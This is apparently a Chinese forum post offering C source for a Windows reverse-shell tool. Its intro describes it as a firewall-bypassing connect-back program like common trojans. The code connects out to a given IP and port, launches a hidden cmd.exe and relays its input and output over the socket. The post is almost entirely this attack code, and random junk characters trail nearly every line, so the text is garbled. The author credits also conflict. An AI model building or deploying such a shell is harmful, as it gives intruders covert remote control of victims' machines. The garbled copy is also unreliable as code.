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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rt{B(L.?<  
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/* ============================== jC3Vbm&ZZ  
Rebound port in Windows NT u@.>Z{h  
By wind,2006/7 aj"M>zd*}  
===============================*/ \2(SB  
#include ZWm8*}3]7_  
#include !TP@- X;  
J8"[6vId~  
#pragma comment(lib,"wsock32.lib") LS5vW|]w  
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void OutputShell(); .(X lg-H,  
SOCKET sClient; ]/!<PF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S<L.c  
=1u@7Bh  
void main(int argc,char **argv) NFr:y<0>z  
{ M#4QQ} F.  
WSADATA stWsaData; <d<mvXbw_@  
int nRet; 3VUWX5K?  
SOCKADDR_IN stSaiClient,stSaiServer; ^47PLLRP  
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if(argc != 3) A#W?2k9  
{ g1UGd  
printf("Useage:\n\rRebound DestIP DestPort\n"); xxm%u9@s  
return; DEw8*MN  
} s%!`kWVJ.  
/%I7Vc  
WSAStartup(MAKEWORD(2,2),&stWsaData); % ',F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O0:)X)b  
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stSaiClient.sin_family = AF_INET; k`{@pt.  
stSaiClient.sin_port = htons(0); yCXrVN:`,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O$g_@B0E1  
6AP~]e 8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?6k}ii!c  
{ * FeQ*`r  
printf("Bind Socket Failed!\n"); -@F fU2  
return; (Si=m;g  
} p:OPw D+  
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stSaiServer.sin_family = AF_INET; jV/CQM5a+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >?]_<:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y?)}8T^  
Jj= ;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5PIZh<  
{ ]u-02g  
printf("Connect Error!"); z**hD2R!  
return; oR~e#<$;  
}  8*c3|  
OutputShell(); YxGcFjJ  
} Otz E:qe  
KT.?Xp:z  
void OutputShell() ]=EM@  
{ ;@nFVy>U  
char szBuff[1024]; $LHa?3  
SECURITY_ATTRIBUTES stSecurityAttributes; /?6gdN  
OSVERSIONINFO stOsversionInfo; M0' a9.d  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G\;}w  
STARTUPINFO stStartupInfo; TS"D]Txs  
char *szShell; EQe5JFR  
PROCESS_INFORMATION stProcessInformation; ]}mxY vu_i  
unsigned long lBytesRead; GI7=x h  
4<X!<]3]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |3{&@7  
\@~UDP]7  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5 #]4YI;  
stSecurityAttributes.lpSecurityDescriptor = 0; K?4FT$9G  
stSecurityAttributes.bInheritHandle = TRUE; e/8z+H^H  
Vi]c%*k  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5y} v{Ijt  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !$g+F(:(c  
3p*-tBOO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gFPi7 o1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; = pIy  
stStartupInfo.wShowWindow = SW_HIDE; s-W[ .r|  
stStartupInfo.hStdInput = hReadPipe; Y e+Ay  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (9gO tJ  
AY SSa 1}  
GetVersionEx(&stOsversionInfo); [Qdq}FYr  
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switch(stOsversionInfo.dwPlatformId)  ?W0(|9  
{ dp5f7>]:(  
case 1: sLcFt1  
szShell = "command.com"; XMRNuEU  
break; Z?^"\u-  
default: @ 2_<,;$  
szShell = "cmd.exe"; .9|u QEL  
break; 3_`szl-  
} j}+5vB|0  
(X6sSO  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~JuKV&&}K  
S)A'Y]2X  
send(sClient,szMsg,77,0); 3|rn] yZ  
while(1) (vJ2z =z  
{ (shK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >?YNW   
if(lBytesRead) {6d b{ ay_  
{ O4No0xeWo  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |c2v%'J2G  
send(sClient,szBuff,lBytesRead,0); BwJuYH7QJ$  
} A%vsno!  
else AaN"7.Z/  
{ Ae?e 70bY  
lBytesRead=recv(sClient,szBuff,1024,0); bQa oMZB  
if(lBytesRead<=0) break; P|^$kK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fj 4^VXD  
} 4S L_-Hm.  
} }~o ikN:  
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return; L|^o7 1t|  
}
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